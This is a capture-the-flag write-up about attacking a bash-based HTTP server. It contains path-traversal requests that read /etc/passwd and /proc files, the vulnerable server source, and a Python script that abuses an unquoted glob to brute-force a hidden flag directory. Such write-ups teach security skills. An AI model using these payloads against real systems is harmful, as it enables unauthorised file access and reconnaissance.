Try   HackMD

BadAss Server for Hypertext

Writeup by r2uwu2

I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?

image

Application

Looking at the first request to the server,

image

It's bash 💀.

LFI

There is url http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg on the page to request an image, let us try an LFI.

$: curl --path-as-is "http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

We can lfi now. Let us try to get the application source code.

Some more info is revealed on error:

path

We know that the application has an /app folder and a /static/assets in it.

I was trying to read /proc/self/status but would receive an empty string. To look into this further, I tried sending a raw HTTP request with nc.

(echo "GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../proc/meminfo HTTP/1.1"; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080

The above command returned me the /proc/meminfo yay.

With this truly arbitrary read, I decided to try leaking the cmdline and environ of some of the initial PID. I found that PID=1 was socat and from the cmdline, I found that the path to the server is /app/badass_server.sh.

image

Find Flag

From here, I was fairly stumped. I had to figure out a way to get the flag. However, I don't even know where the flag is, so I might need RCE.

Looking through the source code for badass_server.sh, it's fairly hard to see anything wrong with the code.

#!/bin/bash # I hope there are no bugs in this source code... set -e declare -A request_headers declare -A response_headers declare method declare uri declare protocol declare request_body declare status="200 OK" abort() { declare -gA response_headers status="400 Bad Request" write_headers if [ ! -z ${1+x} ]; then >&2 echo "Request aborted: $1" echo -en $1 fi exit 1 } write_headers() { response_headers['Connection']='close' response_headers['X-Powered-By']='Bash' echo -en "HTTP/1.0 $status\r\n" for key in "${!response_headers[@]}"; do echo -en "${key}: ${response_headers[$key]}\r\n" done echo -en '\r\n' >&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status" } receive_request() { read -d $'\n' -a request_line if [ ${#request_line[@]} != 3 ]; then abort "Invalid request line" fi method=${request_line[0]} uri=${request_line[1]} protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g') if [[ ! $method =~ ^(GET|HEAD)$ ]]; then abort "Invalid request method" fi if [[ ! $uri =~ ^/ ]]; then abort 'Invalid URI' fi if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi while read -d $'\n' header; do stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g') if [ -z "$stripped_header" ]; then break; fi header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]'); header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g'); if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then abort "Invalid header name"; fi # If header already exists, add value to comma separated list if [[ -v request_headers[$header_name] ]]; then request_headers[$header_name]="${request_headers[$header_name]}, $header_value" else request_headers[$header_name]="$header_value" fi done body_length=${request_headers["content-length"]:-0} if [[ ! $body_length =~ ^[0-9]+$ ]]; then abort "Invalid Content-Length" fi read -N $body_length request_body } handle_request() { # Default: serve from static directory path="/app/static$uri" path_last_character=$(echo -n "$path" | tail -c 1) if [ "$path_last_character" == '/' ]; then path="${path}index.html" fi if ! cat "$path" > /dev/null; then status="404 Not Found" else mime_type=$(file --mime-type -b "$path") file_size=$(stat --printf="%s" "$path") response_headers["Content-Type"]="$mime_type" response_headers["Content-Length"]="$file_size" fi write_headers cat "$path" 2>&1 } receive_request handle_request

I can't sneak in a command injection anywhere to get RCE as everything is properly quoted. Or is it?

Looking at line 62, we have [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]. Since $protocol is not quoted and [ is simply an executable /usr/bin/[, $protocol will expand as a glob. We can use this to perform nefarious deeds.

Playing around with various globs, I found that when the glob matches two files, it causes a space in the expansion which bypasses the protocol check (try using * as the protocol). When I was trying to build up a prefix using a glob to find the flag file path, I found that the following glob bypasses the protocol check:

(echo 'GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd [bs][at][ad][at][is]*[ch]'; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080; echo

It may seem very weird that each character only has two possible characters. Looking at it closer, it indicates that there exists a badass.sh and a static in the same directory as the glob is an interleaving of the two. We can use this to leak file paths as long as we know a file path in the directory.

I first thought that the flag was in /, but after a lot of trial and error, I was not able to find anything. I then looked at the inspect element for the website.

image

There seem to be multiple folders in assets/, perhaps there is a folder with our flag.

With a manual test, I confirmed that there was a folder starting with 9 in assets/. I then decided to write a script to do this (I was doing this all by hand previously).

Scripting Time

import socket import string from tqdm import tqdm from concurrent.futures import ThreadPoolExecutor host = "chal-kalmarc.tf" port = 8080 def test(glob): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(f"GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd {glob}\n\n".encode()) return b"OK" in s.recv(1024) existing = "26c3f25922f71af3372ac65a75cd3b11" prefix = "9" owo = [] def work(s): pprefix = prefix + s query = "static/assets/" for e, p in zip(existing, pprefix): query += f"[{e}{p}]" query += "*" if test(query): owo.append(s) def get_one(): owo[:] = [] with ThreadPoolExecutor(50) as pool: charset = string.hexdigits list(tqdm(pool.map(work, charset), total=len(charset))) return owo while len(prefix) < len(existing): print(prefix, len(prefix) / len(existing)) uwu = get_one() print(uwu, len(uwu)) if len(uwu) == 1: prefix += uwu[0] if len(uwu) == 0: print("nooooo") exit() if len(uwu) > 1: prefix += existing[len(prefix)] print(prefix)

It slowly built up to the full hex:

image

I then tried visiting flag.txt in the folder and found the flag:

image